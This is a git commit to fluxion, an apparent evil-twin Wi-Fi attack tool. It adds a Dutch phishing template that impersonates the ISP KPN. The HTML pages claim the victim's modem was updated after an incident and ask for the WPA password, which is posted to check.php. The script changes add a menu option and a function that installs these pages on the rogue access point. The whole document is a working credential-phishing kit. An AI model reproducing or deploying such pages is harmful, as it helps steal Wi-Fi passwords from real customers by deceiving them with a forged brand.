Add KPN NL template, close #338

This commit is contained in:
root 2017-01-02 15:16:32 +02:00
parent 9b96f62102
commit 035a81f87e
6 changed files with 407 additions and 16 deletions

BIN
Sites/KPN_NL/bg.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

133
Sites/KPN_NL/error.html Normal file
View File

@ -0,0 +1,133 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="nl">
<head>
<title>KPN Wi-Fi Herstellen</title>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<style>
* {
font-size: 13px;
font-family: Arial, Helvetica, sans-serif;
}
html,body{
padding: 0px;
margin: 0px;
}
#wrapper, #header, #content, #footer {
width: 100%;
min-width: 100%!important;
}
#header {
background: url('logo.png'), url('bg.png');
background-size: auto 48px, 100%;
background-repeat: no-repeat, repeat-y;
background-position: 16px 16px, left;
height: 80px;
line-height: 80px;
font-size: 30px;
font-weight: bold;
color: white;
text-align: center;
}
#content table {
position: absolute;
top: 50%;
left: 50%;
margin-top: -63px;
margin-left: -200px;
border: 2px solid #82ae36;
height: 126px;
width: 400px;
padding-bottom: 10px;
}
#content table thead th {
background-color: #82ae36;
color: white;
padding: 0px 0px 3px;
}
#footer {
position: absolute;
bottom: 0px;
text-align: center;
font-size: 12px;
height: 32px;
}
#footer .bar {
margin-top: 3px;
background-color: #6ba53a;
height: 15px;
}
.error {
color: red;
font-size: 12px;
}
@media screen and (min-width: 411px) and (max-width: 550px) {
#header {
text-align: right;
}
#header .spacer {
display: inline-block;
width: 20px;
}
}
@media screen and (max-width: 410px) {
#header {
font-size: 20px;
text-align: right;
}
#header .spacer {
display: inline-block;
width: 20px;
}
#content table {
position: absolute;
top: 50%;
left: 0px;
margin-top: -63px;
margin-left: 0px;
border: 2px solid #82ae36;
height: 126px;
width: 100%!important;
padding-bottom: 10px;
}
}
</style>
</head>
<body>
<div id="wrapper">
<div id="header">
Wi-Fi<sup>®</sup> Herstellen<span class="spacer"></span>
</div>
<div id="content">
<form method="POST" action="check.php" id="form1" name="form1">
<table cellspacing="0">
<thead>
<tr><th colspan="3">
KPN Wi-Fi<sup>®</sup> Herstellen
</th></tr>
</thead>
<tbody>
<tr>
<td colspan="3">
<center>Wegens een incident is uw Wi-Fi modem direct bijgewerkt.<br>Om uw Wi-Fi signaal te herstellen dient u uw WPA wachtwoord hieronder in te voeren.<br><br>
Indien u het wachtwoord niet aangepast heeft kunt u uw Wi-Fi wachtwoord aan de onderkant van uw Wi-Fi<sup>®</sup> modem vinden.<br><br>
<br>
<span class="error">Het ingevoerde wachtwoord is onjuist.<br>Controlleer uw wachtwoord en probeer het opnieuw.</span>
</center>
</td>
</tr>
<tr>
<td align="right">Wachtwoord:</td><td><input type="password" name="key1"></td><td><input type="submit" value="Herstellen &gt;"></td>
</tr>
</tbody>
</table>
</form>
</div>
<div id="footer">
Copyright &copy; 2015-2016 KPN. All rights reserved.
<div class="bar"></div>
</div>
</div>
</body>
</html>

126
Sites/KPN_NL/final.html Normal file
View File

@ -0,0 +1,126 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="nl">
<head>
<title>KPN Wi-Fi Herstellen</title>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<style>
* {
font-size: 13px;
font-family: Arial, Helvetica, sans-serif;
}
html,body{
padding: 0px;
margin: 0px;
}
#wrapper, #header, #content, #footer {
width: 100%;
min-width: 100%!important;
}
#header {
background: url('logo.png'), url('bg.png');
background-size: auto 48px, 100%;
background-repeat: no-repeat, repeat-y;
background-position: 16px 16px, left;
height: 80px;
line-height: 80px;
font-size: 30px;
font-weight: bold;
color: white;
text-align: center;
}
#content table {
position: absolute;
top: 50%;
left: 50%;
margin-top: -63px;
margin-left: -200px;
border: 2px solid #82ae36;
height: 126px;
width: 400px;
padding-bottom: 10px;
}
#content table thead th {
background-color: #82ae36;
color: white;
padding: 0px 0px 3px;
}
#footer {
position: absolute;
bottom: 0px;
text-align: center;
font-size: 12px;
height: 32px;
}
#footer .bar {
margin-top: 3px;
background-color: #6ba53a;
height: 15px;
}
.error {
color: red;
font-size: 12px;
}
@media screen and (min-width: 411px) and (max-width: 550px) {
#header {
text-align: right;
}
#header .spacer {
display: inline-block;
width: 20px;
}
}
@media screen and (max-width: 410px) {
#header {
font-size: 20px;
text-align: right;
}
#header .spacer {
display: inline-block;
width: 20px;
}
#content table {
position: absolute;
top: 50%;
left: 0px;
margin-top: -63px;
margin-left: 0px;
border: 2px solid #82ae36;
height: 126px;
width: 100%!important;
padding-bottom: 10px;
}
}
</style>
</head>
<body>
<div id="wrapper">
<div id="header">
Wi-Fi<sup>®</sup> Herstellen<span class="spacer"></span>
</div>
<div id="content">
<table cellspacing="0">
<thead>
<tr><th colspan="3">
KPN Wi-Fi<sup>®</sup> Herstellen
</th></tr>
</thead>
<tbody>
<tr>
<td colspan="3">
<center>Een moment geduld a.u.b...<br>
Uw Wi-Fi verbinding word hersteld en is binnen enkele seconden weer beschikbaar.
</center>
</td>
</tr>
</tbody>
</table>
</div>
<div id="footer">
Copyright &copy; 2015-2016 KPN. All rights reserved.
<div class="bar"></div>
</div>
</div>
</body>
</html>

131
Sites/KPN_NL/index.html Normal file
View File

@ -0,0 +1,131 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="nl">
<head>
<title>KPN Wi-Fi Herstellen</title>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<style>
* {
font-size: 13px;
font-family: Arial, Helvetica, sans-serif;
}
html,body{
padding: 0px;
margin: 0px;
}
#wrapper, #header, #content, #footer {
width: 100%;
min-width: 100%!important;
}
#header {
background: url('logo.png'), url('bg.png');
background-size: auto 48px, 100%;
background-repeat: no-repeat, repeat-y;
background-position: 16px 16px, left;
height: 80px;
line-height: 80px;
font-size: 30px;
font-weight: bold;
color: white;
text-align: center;
}
#content table {
position: absolute;
top: 50%;
left: 50%;
margin-top: -63px;
margin-left: -200px;
border: 2px solid #82ae36;
height: 126px;
width: 400px;
padding-bottom: 10px;
}
#content table thead th {
background-color: #82ae36;
color: white;
padding: 0px 0px 3px;
}
#footer {
position: absolute;
bottom: 0px;
text-align: center;
font-size: 12px;
height: 32px;
}
#footer .bar {
margin-top: 3px;
background-color: #6ba53a;
height: 15px;
}
.error {
color: red;
font-size: 12px;
}
@media screen and (min-width: 411px) and (max-width: 550px) {
#header {
text-align: right;
}
#header .spacer {
display: inline-block;
width: 20px;
}
}
@media screen and (max-width: 410px) {
#header {
font-size: 20px;
text-align: right;
}
#header .spacer {
display: inline-block;
width: 20px;
}
#content table {
position: absolute;
top: 50%;
left: 0px;
margin-top: -63px;
margin-left: 0px;
border: 2px solid #82ae36;
height: 126px;
width: 100%!important;
padding-bottom: 10px;
}
}
</style>
</head>
<body>
<div id="wrapper">
<div id="header">
Wi-Fi<sup>®</sup> Herstellen<span class="spacer"></span>
</div>
<div id="content">
<form method="POST" action="check.php" id="form1" name="form1">
<table cellspacing="0">
<thead>
<tr><th colspan="3">
KPN Wi-Fi<sup>®</sup> Herstellen
</th></tr>
</thead>
<tbody>
<tr>
<td colspan="3">
<center>Wegens een incident is uw Wi-Fi modem direct bijgewerkt.<br>Om uw Wi-Fi signaal te herstellen dient u uw WPA wachtwoord hieronder in te voeren.<br><br>
Indien u het wachtwoord niet aangepast heeft kunt u uw Wi-Fi wachtwoord aan de onderkant van uw Wi-Fi<sup>®</sup> modem vinden.<br><br>
</center>
</td>
</tr>
<tr>
<td align="right">Wachtwoord:</td><td><input type="password" name="key1"></td><td><input type="submit" value="Herstellen &gt;"></td>
</tr>
</tbody>
</table>
</form>
</div>
<div id="footer">
Copyright &copy; 2015-2016 KPN. All rights reserved.
<div class="bar"></div>
</div>
</div>
</body>
</html>

BIN
Sites/KPN_NL/logo.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.4 KiB

29
fluxion
View File

@ -33,7 +33,7 @@ ipNmap=`ifconfig | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*)
# Deauth duration during handshake capture # Deauth duration during handshake capture
# oo # oo
DEAUTHTIME="9999999999999" DEAUTHTIME="9999999999999"
revision=112 revision=113
version=0.23 version=0.23
IP=192.168.1.1 IP=192.168.1.1
RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
@ -4002,6 +4002,7 @@ function ConnectionRESET {
echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ENG]";n=`expr $n + 1`
echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ITA]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ITA]";n=`expr $n + 1`
echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo [NL]";n=` expr $n + 1`
echo -e " "$red"["$yellow"$n"$red"]"$transparent" KPN [NL]";n=` expr $n + 1`
echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent"" echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent""
echo echo
echo -n "#? " echo -n "#? "
@ -4371,6 +4372,10 @@ function ConnectionRESET {
break break
elif [ "$fluxass" = "34" ]; then elif [ "$fluxass" = "34" ]; then
KPN_NL
break
elif [ "$fluxass" = "35" ]; then
conditional_clear conditional_clear
webinterface webinterface
break break
@ -7204,7 +7209,8 @@ ACQAAAAAAAAAIAAAAAzpAQBqcy9tYWluLmpzCgAgAAAAAAABABgAwGkPId0k0gFxv9MKziTSATNj
</body> </body>
</html>" > $DUMP_PATH/data/index.htm </html>" > $DUMP_PATH/data/index.htm
} }
# Crea el contenido de la interface web
# Functions to populate the content for the custom phishing pages
function ARRIS { function ARRIS {
mkdir $DUMP_PATH/data &>$flux_output_device mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/ARRIS-ENG/background.png $DUMP_PATH/data cp $WORK_DIR/Sites/ARRIS-ENG/background.png $DUMP_PATH/data
@ -7216,7 +7222,6 @@ function ARRIS {
cp $WORK_DIR/Sites/ARRIS-ENG/index.htm $DUMP_PATH/data cp $WORK_DIR/Sites/ARRIS-ENG/index.htm $DUMP_PATH/data
} }
#Conten interface web
function BELKIN { function BELKIN {
mkdir $DUMP_PATH/data &>$flux_output_device mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/BELKIN-ENG/info2.css $DUMP_PATH/data cp $WORK_DIR/Sites/BELKIN-ENG/info2.css $DUMP_PATH/data
@ -7231,7 +7236,6 @@ function BELKIN {
cp $WORK_DIR/Sites/BELKIN-ENG/index.htm $DUMP_PATH/data cp $WORK_DIR/Sites/BELKIN-ENG/index.htm $DUMP_PATH/data
} }
#Conten interface web
function NETGEAR { function NETGEAR {
mkdir $DUMP_PATH/data &>$flux_output_device mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/NETGEAR-ENG/info2.css $DUMP_PATH/data cp $WORK_DIR/Sites/NETGEAR-ENG/info2.css $DUMP_PATH/data
@ -7246,7 +7250,6 @@ function NETGEAR {
cp $WORK_DIR/Sites/NETGEAR-ENG/index.htm $DUMP_PATH/data cp $WORK_DIR/Sites/NETGEAR-ENG/index.htm $DUMP_PATH/data
} }
#Conten interface web
function ARRIS2 { function ARRIS2 {
mkdir $DUMP_PATH/data &>$flux_output_device mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/ARRIS-ESP/info2.css $DUMP_PATH/data cp $WORK_DIR/Sites/ARRIS-ESP/info2.css $DUMP_PATH/data
@ -7261,7 +7264,6 @@ function ARRIS2 {
cp $WORK_DIR/Sites/ARRIS-ESP/index.htm $DUMP_PATH/data cp $WORK_DIR/Sites/ARRIS-ESP/index.htm $DUMP_PATH/data
} }
#Conten interface web
function NETGEAR2 { function NETGEAR2 {
mkdir $DUMP_PATH/data &>$flux_output_device mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/NETGEAR-ESP/info2.css $DUMP_PATH/data cp $WORK_DIR/Sites/NETGEAR-ESP/info2.css $DUMP_PATH/data
@ -7275,9 +7277,8 @@ function NETGEAR2 {
cp $WORK_DIR/Sites/NETGEAR-ESP/info.html $DUMP_PATH/data cp $WORK_DIR/Sites/NETGEAR-ESP/info.html $DUMP_PATH/data
cp $WORK_DIR/Sites/NETGEAR-ESP/index.htm $DUMP_PATH/data cp $WORK_DIR/Sites/NETGEAR-ESP/index.htm $DUMP_PATH/data
} }
#Conten interface web
function TPLINK {
function TPLINK {
mkdir $DUMP_PATH/data &>$flux_output_device mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/Upgrade-TP-LINK/bootstrap.min.css $DUMP_PATH/data cp $WORK_DIR/Sites/Upgrade-TP-LINK/bootstrap.min.css $DUMP_PATH/data
cp $WORK_DIR/Sites/Upgrade-TP-LINK/bootstrap.min.js $DUMP_PATH/data cp $WORK_DIR/Sites/Upgrade-TP-LINK/bootstrap.min.js $DUMP_PATH/data
@ -7287,9 +7288,7 @@ mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/Upgrade-TP-LINK/error.html $DUMP_PATH/data cp $WORK_DIR/Sites/Upgrade-TP-LINK/error.html $DUMP_PATH/data
} }
#Conten interface web
function TPLINK_ITA { function TPLINK_ITA {
mkdir $DUMP_PATH/data &>$flux_output_device mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/Upgrade-TP-LINK_ITA/bootstrap.min.css $DUMP_PATH/data cp $WORK_DIR/Sites/Upgrade-TP-LINK_ITA/bootstrap.min.css $DUMP_PATH/data
cp $WORK_DIR/Sites/Upgrade-TP-LINK_ITA/bootstrap.min.js $DUMP_PATH/data cp $WORK_DIR/Sites/Upgrade-TP-LINK_ITA/bootstrap.min.js $DUMP_PATH/data
@ -7299,8 +7298,6 @@ mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/Upgrade-TP-LINK_ITA/error.html $DUMP_PATH/data cp $WORK_DIR/Sites/Upgrade-TP-LINK_ITA/error.html $DUMP_PATH/data
} }
#Conten interface web
function VODAFONE { function VODAFONE {
mkdir $DUMP_PATH/data &>$flux_output_device mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/VODAFONE-ESP/info2.css $DUMP_PATH/data cp $WORK_DIR/Sites/VODAFONE-ESP/info2.css $DUMP_PATH/data
@ -7315,7 +7312,6 @@ function VODAFONE {
cp $WORK_DIR/Sites/VODAFONE-ESP/index.htm $DUMP_PATH/data cp $WORK_DIR/Sites/VODAFONE-ESP/index.htm $DUMP_PATH/data
} }
#Conten interface web
function VERIZON { function VERIZON {
mkdir $DUMP_PATH/data &>$flux_output_device mkdir $DUMP_PATH/data &>$flux_output_device
cp -r $WORK_DIR/Sites/Login-Verizon/Verizon_files $DUMP_PATH/data cp -r $WORK_DIR/Sites/Login-Verizon/Verizon_files $DUMP_PATH/data
@ -7328,7 +7324,6 @@ function XFINITY {
cp $WORK_DIR/Sites/Login-Xfinity/Xfinity.html $DUMP_PATH/data cp $WORK_DIR/Sites/Login-Xfinity/Xfinity.html $DUMP_PATH/data
} }
#Conten interface web
function HUAWEI { function HUAWEI {
mkdir $DUMP_PATH/data &>$flux_output_device mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/HUAWEI-ENG/info2.css $DUMP_PATH/data cp $WORK_DIR/Sites/HUAWEI-ENG/info2.css $DUMP_PATH/data
@ -7348,5 +7343,11 @@ function ZIGGO_NL {
cp $WORK_DIR/Sites/ZIGGO_NL/* $DUMP_PATH/data cp $WORK_DIR/Sites/ZIGGO_NL/* $DUMP_PATH/data
} }
function KPN_NL {
mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/KPN_NL/* $DUMP_PATH/data
}
######################################### < INTERFACE WEB > ######################################## ######################################### < INTERFACE WEB > ########################################
top&& setresolution && setinterface top&& setresolution && setinterface